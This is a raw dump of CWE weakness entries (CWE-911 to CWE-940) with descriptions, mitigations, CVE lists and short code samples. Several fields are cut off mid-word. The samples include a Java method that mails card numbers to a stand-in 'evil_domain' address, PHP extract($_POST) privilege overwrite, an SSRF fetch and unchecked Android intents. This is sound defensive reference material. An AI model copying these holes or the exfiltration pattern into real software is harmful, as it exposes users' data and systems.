deardaniel/secdata-raw huggingface dataset:
CWE-911: Improper Update of Reference Count

Description:
The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description:
Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Affected languages: C, C++, Not Language-Specific
Parent weaknesses: CWE-664

Consequences:
  - Availability: DoS: Resource Consumption (Memory)
  - Availability: DoS: Crash, Exit, or Restart

Real-world examples:
  - CVE-2002-0574: chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
  - CVE-2004-0114: Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.
  - CVE-2006-3741: chain: improper reference count tracking leads to file descriptor consumption
  - CVE-2007-1383: chain: integer overflow in reference counter causes the same variable to be destroyed twice.
  - CVE-2007-1700: Incorrect reference count calculation leads to improper object destruction and code execution.
CWE-912: Hidden Functionality

Description:
The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.

Extended Description:
Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific, ICS/OT
Parent weaknesses: CWE-684

Consequences:
  - Other: Varies by Context

Detection methods:
  - Automated Static Analysis: Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Mitigations:
  - [Installation] Always verify the integrity of the product that is being installed.

Demonstrative examples:
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

boolean authorizeCard(String ccn) { 
                         
                            
                            // Authorize credit card. 
                            
                            
                            ... 
                            
                            mailCardNumber(ccn, "evil_developer@evil_domain.com"); 
                      }

Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.
Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.
Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and 

Real-world examples:
  - CVE-2022-31260: Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
  - CVE-2022-3203: A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).
CWE-914: Improper Control of Dynamically-Identified Variables

Description:
The product does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description:
Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Affected languages: Not Language-Specific, Interpreted
Parent weaknesses: CWE-99, CWE-913

Consequences:
  - Integrity: Modify Application Data
  - Integrity: Execute Unauthorized Code or Commands
  - Other: Varies by Context

Mitigations:
  - [Implementation] For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.
  - [Implementation] Refactor the code so that internal program variables do not need to be dynamically identified.

Demonstrative examples:
This code uses the credentials sent in a POST request to login a user.
The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.
//Log user in, and set $isAdmin to true if user is an administrator 
                      
                      function login($user,$pass){ $query = buildQuery($user,$pass); mysql_query($query); if(getUserRole($user) == "Admin"){ $isAdmin = true; } } 
                      $isAdmin = false; extract($_POST); login(mysql_real_escape_string($user),mysql_real_escape_string($pass));

Real-world examples:
  - CVE-2006-7135: extract issue enables file inclusion
  - CVE-2006-7079: Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22)
  - CVE-2007-0649: extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.
  - CVE-2006-6661: extract() enables static code injection
  - CVE-2006-2828: import_request_variables() buried in include files makes post-disclosure analysis confusing
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Description:
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Extended Description:
Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.

Affected languages: Java
Parent weaknesses: CWE-77, CWE-74, CWE-77, CWE-77

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Execute Unauthorized Code or Commands

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] Avoid adding user-controlled data into an expression interpreter when possible.
  - [Implementation] If user-controlled data must be added to an expression interpreter, one or more of the following should be performed: 
                      
                         Validate that the user input will not evaluate as an expression 
                         Encode the user input in a way that ensures
  - [System Configuration] The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".

Real-world examples:
  - CVE-2021-44228: Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j)
CWE-918: Server-Side Request Forgery (SSRF)

Description:
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Affected languages: Not Language-Specific
Affected technologies: Web Based, AI/ML, Web Server
Parent weaknesses: CWE-441, CWE-610

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Execute Unauthorized Code or Commands
  - Access Control: Bypass Protection Mechanism

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Demonstrative examples:
This code intends to receive a URL from a user, access the URL, and return the results to the user.
The given PHP code is vulnerable to Server-Side Request Forgery (SSRF) because it directly accepts a user-supplied URL from the $_GET['url'] parameter and fetches its content using file_get_contents(), without any validation or restrictions. This allows an attacker to request internal or restricted resources within the server's network, such as internal admin panels, cloud metadata endpoints, or local services running on localhost.
$url = $_GET['url']; # User-controlled input 
                      
                      # Fetch the content of the provided URL 
                      $response = file_get_contents($url); 
					  echo $response;
# Define allowed URLs (or domains) $allowed_urls 

Real-world examples:
  - CVE-2026-33626: SSRF in LLM toolkit accesses arbitrary URLs for images, as exploited in the wild in April 2026 to conduct port scanning [REF-1519]
  - CVE-2024-3095: SSRF in LLM application development framework because the URL retriever allows connections to local addresses using a crafted Location header
  - CVE-2023-32786: Chain: LLM integration framework has prompt injection
	     (CWE-1427) that allows an attacker to force the service to retrieve
	     data from an arbitrary URL, essentially providing SSRF (CWE-918) a
  - CVE-2021-26855: Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV.
  - CVE-2021-21973: Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV.
CWE-920: Improper Restriction of Power Consumption

Description:
The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.

Extended Description:
In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs. 
             Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as: 
                
                   Display 
                   CPU 
                   Disk I/O 
                   GPS 
                   Sound 
                   Microphone 
                   USB interface

Affected languages: Not Language-Specific
Affected technologies: Mobile
Parent weaknesses: CWE-400, CWE-400

Consequences:
  - Availability: DoS: Resource Consumption (Other)
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Description:
The product stores sensitive information in a file system or device that does not have built-in access control.

Extended Description:
While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data. 
             On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Affected languages: Not Language-Specific
Affected technologies: Mobile
Parent weaknesses: CWE-922

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Modify Application Data
CWE-922: Insecure Storage of Sensitive Information

Description:
The product stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description:
If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-664

Consequences:
  - Confidentiality: Read Application Data
  - Integrity: Modify Application Data

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Demonstrative examples:
In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.
At least one OT product stored a password in plaintext.

Real-world examples:
  - CVE-2009-2272: password and username stored in cleartext in a cookie
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Description:
The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description:
Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-345, CWE-345

Consequences:
  - Integrity: Gain Privileges or Assume Identity
CWE-925: Improper Verification of Intent by Broadcast Receiver

Description:
The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description:
Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Affected languages: Not Language-Specific
Affected technologies: Mobile
Parent weaknesses: CWE-940

Consequences:
  - Integrity: Gain Privileges or Assume Identity

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Architecture and Design] Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Demonstrative examples:
The following example demonstrates the weakness.
The ShutdownReceiver class will handle the intent:
<manifest package="com.example.vulnerableApplication"> 
                         <application> 
                            ... 
                            
                            
                               <receiver android:name=".ShutdownReceiver"> <intent-filter> <action android:name="android.intent.action.ACTION_SHUTDOWN" /> </intent-filter> </receiver> 
                            
                            
                            ... 
                            
                            </application> 
                      </manifest>
... 
                      IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN); BroadcastReceiver sReceiver = new ShutD

Real-world examples:
  - CVE-2025-20972: Mobile app store does not properly verify the intent by the broadcast receiver, allowing local attackers to write arbitrary files
  - CVE-2024-10576: Mobile device has an application that exposes a broadcast received that allows local attackers to force a factory reset
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Description:
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-74

Consequences:
  - Integrity: Modify Application Data

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Implementation] Avoid using CRLF as a special sequence.
  - [Implementation] Appropriately filter or quote CRLF sequences in user-controlled input.

Demonstrative examples:
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.
Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:
String author = request.getParameter(AUTHOR_PARAM); ... Cookie cookie = new Cookie("author", author); cookie.setMaxAge(cookieExpiration); response.addCookie(cookie);
HTTP/1.1 200 OK ... Set-Cookie: author=Jane Smith ...

The following code is a workflow job written
	      using YAML. The code attempts to download pull request
	      artifacts, unzip from the artifact called pr.zip and
	      extract the value of the file NR into a variable
	      "pr_number" that will be used later in another job.  It
	      attempts to create a github workflow environment
	      variable, writing to $GITHUB_ENV. The environment
	      variable value is retrieved from an external
	      resource.
The code does not neutralize the value of the file NR, which is attacker controlled because
	      it originates from a pull request that produced pr.zip. 
	       The attacker could escape the existing
	      pr_number and create a new variable using a "\n"
	      (CWE-93) followed by any environment variable to be
	      added s

Real-world examples:
  - CVE-2002-1771: CRLF injection enables spam proxy (add mail headers) using email address or name.
  - CVE-2002-1783: CRLF injection in API function arguments modify headers for outgoing requests.
  - CVE-2004-1513: Spoofed entries in web server log file via carriage returns
  - CVE-2006-4624: Chain: inject fake log entries with fake timestamps using CRLF injection
  - CVE-2005-1951: Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CWE-940: Improper Verification of Source of a Communication Channel

Description:
The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description:
When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Affected languages: Not Language-Specific
Affected technologies: Mobile
Parent weaknesses: CWE-923, CWE-346

Consequences:
  - Access Control: Gain Privileges or Assume Identity

Mitigations:
  - [Architecture and Design] Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack. 
                   When designing functionality of actions in the URL scheme, consi

Demonstrative examples:
This Android application will remove a user account when it receives an intent to do so:
This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.
IntentFilter filter = new IntentFilter("com.example.RemoveUser"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter); 
                      public class DeleteReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { int userID = intent.getIntExtra("userID"); destroyUserData(userID); } }

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:
A call into native code can then be initiated by passing parameters within the URL:
// Android 
                      @Override public boolean shouldOverrideUrlLoading(WebView view, String url){ 
                         if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){ if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){ writeDataToView(view, UserData); return false; } else{ return true; } } 
                      }
// iOS 
                      -(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UI

Real-world examples:
  - CVE-2025-3651: desktop product does not properly verify the source of a communication channel, allowing command execution
  - CVE-2000-1218: DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
  - CVE-2005-0877: DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
  - CVE-2001-1452: DNS server caches glue records received from non-delegated name servers